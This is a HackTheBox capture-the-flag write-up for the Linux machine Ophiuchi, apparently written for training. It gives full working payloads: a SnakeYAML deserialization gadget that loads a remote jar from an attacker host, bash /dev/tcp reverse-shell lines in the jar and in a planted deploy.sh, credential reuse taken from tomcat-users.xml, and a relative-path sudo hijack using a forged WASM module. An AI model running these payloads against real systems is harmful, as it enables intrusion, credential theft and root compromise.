# Ophiuchi Writeup - HackTheBox

> YAML deserialization flaw exploited via SnakeYAML to gain foothold, then abusing WASM/bash script path hijacking for privilege escalation on Linux.

- **URL:** https://hackindex.io/writeups/ophiuchi
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/Ophiuchi?sort_by=created_at&sort_type=desc
- **Tags:** deserialization, reverse-engineering, privilege-escalation, sudo-misconfiguration
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Ophiuchi is a Linux box. The chain runs: nmap finds SSH and Tomcat on port 8080 hosting an online YAML parser, SnakeYAML's default Constructor allows arbitrary class instantiation via !! tags, a ScriptEngineManager + URLClassLoader gadget chain loads a malicious ScriptEngineFactory jar from the attacker and executes a reverse shell as the tomcat user, Tomcat's config file contains cleartext admin credentials reused for SSH, sudo allows running a Go script that resolves dependencies by relative path, forging a main.wasm that returns info()==1 and a malicious deploy.sh gives a root shell from /tmp.

## Discovery

### Port scan

```bash
nmap -p- --min-rate=1000 -T4 $TARGET_IP | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p22,8080 -sCV -T4 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
# 8080/tcp open  http    Apache Tomcat
# |_http-title: Parse YAML
```

Tomcat on 8080 hosts an online YAML parser. Confirm SnakeYAML deserialization by checking if the target makes outbound HTTP requests via a URLClassLoader gadget:

```bash
python3 -m http.server 80
```

```yaml
# Submit to the YAML parser:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://$ATTACKER_IP/"]
  ]]
]
```

```
$ATTACKER_IP - - "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -
```

The server fetched the ServiceLoader descriptor path, confirming the full chain executes. The 404 is expected since that file was not served yet.

## Foothold

### Malicious ScriptEngineFactory jar

```bash
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
```

Edit `src/artsploit/AwesomeScriptEngineFactory.java`, replacing the constructor body with the reverse shell:

```java
public AwesomeScriptEngineFactory() throws Exception {
    Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"});
}
```

```bash
javac --release 8 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```

Compile targeting Java 8 bytecode. The target JRE only supports up to class file version 55 (Java 11), compiling with the system default Java 21 produces class file version 65 which the target rejects with `UnsupportedClassVersionError`.

Serve the jar and submit the payload:

```bash
python3 -m http.server 80
```

```yaml
# Submit to the YAML parser:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://$ATTACKER_IP/yaml-payload.jar"]
  ]]
]
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# $ id
# uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

Shell as `tomcat`.

## Lateral Movement

### Tomcat credentials reused for SSH

```bash
cat /opt/tomcat/conf/tomcat-users.xml
# <user username="admin" password="$TOMCAT_PASSWORD" roles="manager-gui,admin-gui"/>
```

```bash
ssh admin@$TARGET_IP
# admin@ophiuchi:~$ id
# uid=1000(admin) gid=1000(admin)
```

SSH as `admin`.

## Privilege Escalation

### Relative-path sudo via WASM gate

```bash
sudo -l
# User admin may run the following commands on ophiuchi:
#     (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
```

```bash
cat /opt/wasm-functions/index.go
# bytes, _ := wasm.ReadBytes("main.wasm")
# instance, _ := wasm.NewInstance(bytes)
# init := instance.Exports["info"]
# result, _ := init()
# if (result.String() != "1") {
#     fmt.Println("Not ready to deploy")
# } else {
#     fmt.Println("Ready to deploy")
#     exec.Command("/bin/sh", "deploy.sh").Output()
# }
```

Both `main.wasm` and `deploy.sh` are relative paths. Running the sudo command from a different directory makes it load attacker-controlled files. Decompile the real `main.wasm` to see what `info()` returns:

```bash
scp admin@$TARGET_IP:/opt/wasm-functions/main.wasm /tmp/main.wasm
git clone --recursive https://github.com/WebAssembly/wabt && cd wabt && mkdir build && cd build && cmake .. && cmake --build .
./wasm2wat /tmp/main.wasm
# (func $info (type 0) (result i32)
#   i32.const 0)
```

`info()` always returns `0`. Forge a replacement that returns `1`:

```
; main.wat
(module
  (func (export "info") (result i32)
    i32.const 1
  )
)
```

```bash
# Build and upload forged WASM
./wat2wasm main.wat -o main-fake.wasm
scp main-fake.wasm admin@$TARGET_IP:/tmp/main.wasm
```

```bash
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
```

**Target**

```bash
cat > /tmp/deploy.sh << 'EOF'
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
EOF
chmod +x /tmp/deploy.sh
cd /tmp
sudo /usr/bin/go run /opt/wasm-functions/index.go
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 33758
# root@ophiuchi:/tmp# whoami
# root
```

Related

## References

- [yaml-payload](https://github.com/artsploit/yaml-payload) - SnakeYAML deserialization PoC via ScriptEngineFactory gadget chain.
- [WABT](https://github.com/WebAssembly/wabt) - WebAssembly Binary Toolkit, wasm2wat and wat2wasm.
